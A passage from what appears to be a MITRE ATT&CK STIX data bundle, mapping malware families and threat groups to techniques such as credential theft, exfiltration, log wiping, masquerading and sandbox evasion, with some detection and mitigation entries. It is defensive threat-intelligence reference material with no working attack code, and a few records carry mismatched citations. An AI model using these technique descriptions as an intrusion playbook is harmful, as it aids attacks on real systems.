"description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) has the ability to extract data from removable devices connected to the endpoint.(Citation: Talos Oblique RAT March 2021)", "relationship_type": "uses", "source_ref": "malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ab372993-3d63-4ca3-a064-e4b5820d8970", "type": "relationship", "created": "2019-03-26T16:37:29.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Nyetya June 2017", "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", "description": "Chiu, A. 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Retrieved September 23, 2020."}], "modified": "2021-05-05T13:48:03.687Z", "description": "[LiteDuke](https://attack.mitre.org/software/S0513) can wait 30 seconds before executing additional code if security software is detected.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--95e2cbae-d82c-4f7b-b63c-16462015d35d", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ab503692-c6ff-41ab-995a-e658d098b07b", "created": "2022-03-10T21:07:56.024Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Unit 42 WhisperGate January 2022", "url": "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family", "description": "Falcone, R. et al.. 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Retrieved March 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WhisperGate](https://attack.mitre.org/software/S0689) can use `cmd.exe` to execute commands.(Citation: Unit 42 WhisperGate January 2022)", "modified": "2022-04-13T13:26:49.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ab51438e-c79f-4fc5-b331-a85dc892b604", "type": "relationship", "created": "2019-05-29T13:53:36.660Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 Jan 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", "description": "Schwarz, D. and Proofpoint Staff. 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Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:01.878Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) has used rundll32.exe to execute other DLLs and named pipes.(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abca8fe1-0303-43a8-b469-a7921358a3f1", "type": "relationship", "created": "2020-08-11T21:15:35.616Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 RDAT July 2020", "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}], "modified": "2020-08-11T21:15:35.616Z", "description": "[RDAT](https://attack.mitre.org/software/S0495) can download files via DNS.(Citation: Unit42 RDAT July 2020)\t", "relationship_type": "uses", "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abd0cc1c-8901-4645-8853-c394ae8c573c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}], "modified": "2020-02-18T03:51:27.154Z", "description": "[Proton](https://attack.mitre.org/software/S0279) removes logs from <code>/var/logs</code> and <code>/Library/logs</code>.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", "target_ref": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abd46534-2632-4c12-a9c2-06a2a4116f2c", "type": "relationship", "created": "2020-05-27T15:31:09.530Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RedCanary Mockingbird May 2020", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}], "modified": "2020-06-25T13:59:09.933Z", "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used Remote Desktop to log on to servers interactively and manually copy files to remote hosts.(Citation: RedCanary Mockingbird May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abdaccd2-6a3e-4bd2-8fa2-b192f67f22ca", "type": "relationship", "created": "2021-06-24T20:07:08.348Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}], "modified": "2021-06-24T20:07:08.348Z", "description": "[SideTwist](https://attack.mitre.org/software/S0610) has primarily used port 443 for C2 but can use port 80 as a fallback.(Citation: Check Point APT34 April 2021)", "relationship_type": "uses", "source_ref": "malware--df4cd566-ff2f-4d08-976d-8c86e95782de", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abdf9690-d578-4f86-a2cc-295c2789bb4e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}], "modified": "2020-03-18T00:52:18.855Z", "description": "[Kwampirs](https://attack.mitre.org/software/S0236) establishes persistence by adding a new service with the display name \"WMI Performance Adapter Extension\" in an attempt to masquerade as a legitimate WMI service.(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--abe1a402-9ad5-43d0-9e5d-cabe4269fc06", "created": "2022-01-05T16:16:01.339Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Group 72", "description": "Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.", "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72"}, {"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.683Z", "description": "(Citation: Cisco Group 72)(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abe43d10-714a-4f29-b164-d7cadd83cb61", "type": "relationship", "created": "2020-02-04T13:42:40.685Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-03-16T12:53:42.564Z", "description": "Preemptively search for files containing passwords or other credentials and take actions to reduce the exposure risk when found.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abe93e80-2fc7-4c71-846e-b476529b4ae6", "type": "relationship", "created": "2019-04-17T13:46:38.879Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Astaroth Feb 2019", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}], "modified": "2020-03-19T22:23:33.765Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses an external software known as NetPass to recover passwords. (Citation: Cybereason Astaroth Feb 2019)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abeb8fca-e470-4119-a07f-a6ec2f4b4667", "type": "relationship", "created": "2021-08-04T19:47:11.066Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-08-04T19:47:11.066Z", "description": "[NativeZone](https://attack.mitre.org/software/S0637) can decrypt and decode embedded  [Cobalt Strike](https://attack.mitre.org/software/S0154) beacon stage shellcode.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abece522-51dc-4904-b0f9-585db7fb0223", "type": "relationship", "created": "2020-07-27T15:20:50.275Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave Pillowmint June 2020", "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."}], "modified": "2020-10-02T17:23:24.487Z", "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has been decompressed by included shellcode prior to being launched.(Citation: Trustwave Pillowmint June 2020)\t", "relationship_type": "uses", "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T18:44:09.658Z", "description": "[S-Type](https://attack.mitre.org/software/S0085) runs the command <code>net start</code> on a victim.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--abef99ab-d0a5-4c9f-9011-c79bfabccd5e", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "file_sig_table", "description": "Kessler, G. (2022, December 9). GCK'S FILE SIGNATURES TABLE. Retrieved August 23, 2022.", "url": "https://www.garykessler.net/library/file_sigs.html"}, {"source_name": "Polyglot Files: a Hacker\u2019s best friend", "description": "Li, V. (2019, October 2). Polyglot Files: a Hacker\u2019s best friend. Retrieved September 27, 2022.", "url": "https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T22:45:18.232Z", "description": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.\n\nCheck and ensure that file headers/signature and extensions match using magic bytes detection and/or file signature validation.(Citation: Polyglot Files: a Hacker\u2019s best friend) In Linux, the <code>file</code> command may be used to check the file signature.(Citation: file_sig_table)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abf00a6a-7922-432c-95e0-6c44db2c20e3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/", "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", "source_name": "ASERT Donot March 2018"}], "modified": "2019-04-25T00:09:23.130Z", "description": "[yty](https://attack.mitre.org/software/S0248) gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command <code>systeminfo</code>.(Citation: ASERT Donot March 2018)", "relationship_type": "uses", "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--abf1b22c-a9a4-4155-832c-66878158db77", "created": "2024-02-09T19:28:09.313Z", "revoked": false, "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-09T19:28:09.313Z", "description": "[Kevin](https://attack.mitre.org/software/S1020) can compile randomly-generated MOF files into the WMI repository to persistently run malware.(Citation: Kaspersky Lyceum October 2021)", "relationship_type": "uses", "source_ref": "malware--e7863f5d-cb6a-4f81-8804-0a635eec160a", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abf2a4b0-d0d7-4f13-9b7c-647abc3694e2", "type": "relationship", "created": "2020-05-06T21:31:07.309Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.309Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) uses AES to encrypt network traffic. The key can be hardcoded or negotiated with the C2 server in the registration phase. (Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--abf2b5db-184b-42af-bb52-e018977ca870", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Kazuar May 2017", "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}], "modified": "2020-03-17T01:39:44.976Z", "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses HTTP and HTTPS to communicate with the C2 server. [Kazuar](https://attack.mitre.org/software/S0265) can also act as a webserver and listen for inbound HTTP requests through an exposed API.(Citation: Unit 42 Kazuar May 2017)", "relationship_type": "uses", "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--abf314e7-e379-4e8b-aab3-4a74d737a70d", "created": "2022-09-30T20:05:29.229Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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Retrieved March 16, 2018."}], "modified": "2021-04-14T14:03:30.755Z", "description": "[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used FireMalv custom-developed malware, which collected passwords from the Firefox browser storage.(Citation: Check Point Rocket Kitten)", "relationship_type": "uses", "source_ref": "intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac1cc421-b62d-462a-8d66-bc5de66defa0", "type": "relationship", "created": "2019-03-11T15:04:51.728Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). 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(2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."}], "modified": "2021-04-12T20:07:50.426Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has searched the victim system for the <code>InstallUtil.exe</code> program and its version.(Citation: Anomali MUSTANG PANDA October 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac2d8c2a-72f7-4fa4-9996-d520123a0fa1", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac3b6751-e615-44f6-a086-0c236742d8fd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Scarlet Mimic Jan 2016", "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}], "modified": "2020-03-17T02:15:30.760Z", "description": "[Psylo](https://attack.mitre.org/software/S0078) exfiltrates data to its C2 server over the same protocol as C2 communications.(Citation: Scarlet Mimic Jan 2016)", "relationship_type": "uses", "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ac3e9795-b828-4186-bdc8-3ee8e9b57aa1", "created": "2022-04-16T17:45:06.149Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor unexpected changes and/or interactions with <code>termsrv.dll</code>, which is typically stored in <code>%SystemRoot%\\System32\\</code>.", "modified": "2022-04-16T17:45:06.149Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac3ee298-bef0-4a52-9050-3dcef1701408", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft FTP", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp", "description": "Microsoft. (2021, July 21). ftp. Retrieved February 25, 2022."}, {"source_name": "Linux FTP", "url": "https://linux.die.net/man/1/ftp", "description": "N/A. (n.d.). ftp(1) - Linux man page. Retrieved February 25, 2022."}], "modified": "2022-02-25T20:50:26.362Z", "description": "[ftp](https://attack.mitre.org/software/S0095) may be used to exfiltrate data separate from the main command and control protocol.(Citation: Microsoft FTP)(Citation: Linux FTP)", "relationship_type": "uses", "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac3fb8d5-9d9d-4701-a269-53e838850d71", "type": "relationship", "created": "2019-04-24T20:48:39.773Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Adwind Feb 2016", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf", "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}], "modified": "2019-06-24T17:20:24.634Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) can capture clipboard data.(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac43f0bd-db6c-4000-8efe-7f33520780d9", "type": "relationship", "created": "2019-05-29T14:17:51.222Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Deep Instinct TA505 Apr 2019", "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/", "description": "Vilkomir-Preisman, S. (2019, April 2). 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Retrieved May 28, 2019."}], "modified": "2020-03-19T19:13:22.042Z", "description": "[ServHelper](https://attack.mitre.org/software/S0382) contains a module for downloading and executing DLLs that leverages <code>rundll32.exe</code>.(Citation: Deep Instinct TA505 Apr 2019)", "relationship_type": "uses", "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", 